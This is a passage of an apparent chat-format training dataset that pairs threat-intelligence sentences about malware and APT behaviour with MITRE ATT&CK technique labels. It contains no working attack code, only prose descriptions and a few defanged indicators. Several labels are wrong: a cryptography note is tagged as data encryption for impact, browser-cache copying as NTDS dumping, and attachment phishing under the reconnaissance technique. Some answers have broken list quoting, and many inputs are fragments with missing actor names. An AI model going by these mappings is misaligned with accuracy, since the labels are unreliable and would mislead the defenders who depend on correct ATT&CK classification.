                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spreadsheet also creates a scheduled task named \"windows update check\" that runs the file C:\\Users\\<user_name>\\.templates\\System Manager.exe every minute."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Molerats used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, at the end of 2016 CTU researchers observed the threat actors using native system functionality to disable logging processes and delete logs within a network"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code will gather some information about the system, specifically the local IP address, MAC address, and the external IP address of the system"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some FinFisher variants incorporate an MBR rootkit."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can execute JavaScript containing configuration data for establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk retrieves the hard disk name by calling the \"CreateFileA to \\\\.\\PHYSICALDRIVE0\" API."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash can execute malicious JavaScript payloads on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackConfig has used VBS to install its downloader component and malicious documents with VBA macro code."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "According to the public source data, these airlines use services of the same IT service provider. To help companies detect and hunt for ColunmTK, we have provided a full list of indicators of compromise (IOCs) that we retrieved. It came to light that the cyberattack on this IT service provider affected 4,500,000 data subjects globally, including data related to Air India's customers. ColunmTK Timeline Connections with APT41 Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. APT41, also known as WICKED SPIDER (PANDA), Winnti Umbrella, and BARIUM, is believed to have been engaging in state-sponsored espionage in China's interests as well as committing financially motivated cybercrimes. APT41 is known for stealing digital certificates for its cyber espionage operations. The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. Source: Group-IB Threat Intelligence &amp; Attribution Another interesting domain is service[.]dns22[.]ml. In both cases, the files were used to establish persistence in the network. The files are very similar in the way they launch a DLL file as a service and create keys in the registry"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can delete files from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Path – location of the root “stash” directory - Ext – search for files with one of these extensions only - Date – search for files not earlier than this date"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Poseidon utilizes a variety of tools. This tool appears to be designed to operate on high-value corporate systems like Domain Controllers or IIS servers that act as repositories of valuable information, particularly for lateral movement. This tool contains several other executable files made in different programming languages ranging from Visual Basic 6 to C#, each one performing a very clear task devised by the group when trying to obtain more information from an objective"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke uses an event filter in WMI code to execute a previously dropped executable shortly after system startup."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacSpy can capture screenshots of the desktop over multiple monitors."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used malicious macros embedded inside Office documents to execute files."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "logs the keystrokes on the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Melcoz can use MSI files with embedded VBScript for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT enumerated the Orion software Visual Studio solution directory path."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3: Script code embedded in 29[.]html used to download and run Revenge RAT The script shown in Figure 4 is almost identical to the one used by the script contents of 29[.]html (in Figure 3), the only difference being the absence of a sleep command and the usage of the “forfiles” utility"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL can run Systeminfo to gather information about the victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 can exfiltrate data over Google Drive."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper can compress 32-bit and 64-bit driver files with the Lempel-Ziv algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a module to execute Mimikatz with PowerShell to perform ."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Linfo creates a backdoor through which remote attackers can list contents of drives and search for files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used VBS and VBE scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SodaMaster has the ability to download additional payloads from C2 to the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie attempts to detect several anti-virus products."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP and HTTPS to communicate with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of listing files, folders, and drives on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Wocao, the threat actors obtained a variety of open source tools, including JexBoss, KeeThief, and BloodHound."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This version includes the stealer features mentioned in the previous version and additionally Remote Administration Tool features such as file uploading/download and arbitrary command execution. An interesting element is that the malware looks for filenames created with the previous version of KONNI. This implies that the malware targeted the same people as the previous version and they are designed to work together"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors exploited multiple vulnerabilities in externally facing servers."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has used WMI queries to check if various security applications were running, as well as the operating system version."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE can gather the username from an infected host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains junk code in its functions in an effort to confuse disassembly programs."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to obtain legitimate credentials during operations."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit modules are written in and executed via PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerLess can download additional payloads to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HIDEDRV injects a DLL for Downdelph into the explorer.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches for certain Registry keys to be configured before executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRatReporter listed all running processes on the machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can create `HKCU\\Software\\Classes\\Folder\\shell\\open\\command` as a new registry key during privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One version of  uses a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has uploaded files and information from victim machines."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has the ability to download, unpack, and decrypt tar.gz files ."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot can run a batch script named `del.bat` to remove any Saint Bot payload-linked files from a compromise system if anti-analysis or locale checks fail."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note: the NTRUEncrypt public key cryptosystem encryption algorithm (NTRU), is a lattice-based alternative to Rivest-Shamir-Adleman, known as RSA, and Elliptic-curve cryptography, or ECC, and is based on the shortest vector problem in a lattice"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian has the ability to take screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April. The worm specifically scans for the existence of the DoublePulsar backdoor on compromised systems. If the DoublePulsar backdoor does not exist, then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit. After the first thread determines the local network subnet, the SMB worm scans local addresses beginning at the start of the netblock and increasing by one to the end of the netblock. The second thread scans randomly chosen external IP addresses"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As mentioned in our earlier technical report on Trojan.Hydraq, the back door allows the attacker to perform any of the following activities: - Adjust token privileges. Check status, control, and end processes and services. Create, modify, and delete registry subkeys. Retrieve a list of logical drives"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One example of these samples is given below: SHA256:6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb The file is a self-extracting RAR, which is a common delivery mechanism for PlugX particularly when the eventual payload will be sideloaded by a legitimate executable"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT has been seen loaded into msiexec.exe through process hollowing to hide its execution."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Its purpose is to load Msadoz<n>.dll in order to decrypt and execute it in memory"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 leveraged privileged accounts to replicate directory service data with domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Given this extended period, it is logical to assume that some credentials obtained by the threat actor would be rotated during normal business operations. To combat this, the threat actor periodically “refreshed” their credential set by performing credential theft activities in an already compromised environment. At one victim, CrowdStrike identified multiple instances of domain credential theft months apart, each time with a different credential theft technique"
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use Mshta.exe to execute additional payloads on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used PowerShell scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If I open up the WebCacheV01.dat file in ESEDatabaseView or BrowsingHistoryView, I see browsing history leading up to my testing. Initially, I thought it was grabbing a copy of the file from a previous Volume Shadow Copy (VSC) but that isn’t the case. Esentutl.exe is able to use the Volume Shadow Copy service to make a backup of a locked file"
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bonadan can XOR-encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These parameters install it as a service"
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The FTP account information used in the malware can expose the C&amp;C server to attacks. The string ‘victory’ used in the password has also been found in the b374k webshell used by the Kimsuky group"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used credential dumping tools such as  and Lazagne to steal credentials to accounts logged into the compromised system and to Outlook Web Access."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "identify configuration settings, exfiltrate data, and to execute other commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can monitor services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes using regsvr32.exe called from the  persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The APT actor has been observed using Cisco AnyConnect Secure Socket Layer (SSL) virtual private network (VPN) connections to enable remote logins on at least one victim network, possibly enabled by an Exim Simple Mail Transfer Protocol (SMTP) vulnerability (CVE 2019-10149) (External Remote Services [T1133]). More recently, the APT actor enumerated and exploited a Fortinet VPN vulnerability (CVE-2018-13379) for Initial Access [TA0001] and a Windows Netlogon vulnerability (CVE-2020-1472) to obtain access to Windows Active Directory (AD) servers for Privilege Escalation [TA0004] within the network (Valid Accounts [T1078]). These vulnerabilities can also be leveraged to compromise other devices on the network (Lateral Movement [TA0008]) and to maintain Persistence [TA0003"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services', 'T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can capture screenshots of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some MiniDuke components use Twitter to initially obtain the address of a C2 server or as a backup if no hard-coded C2 server responds."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard has used `regsvr32.exe /s /i` to execute malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
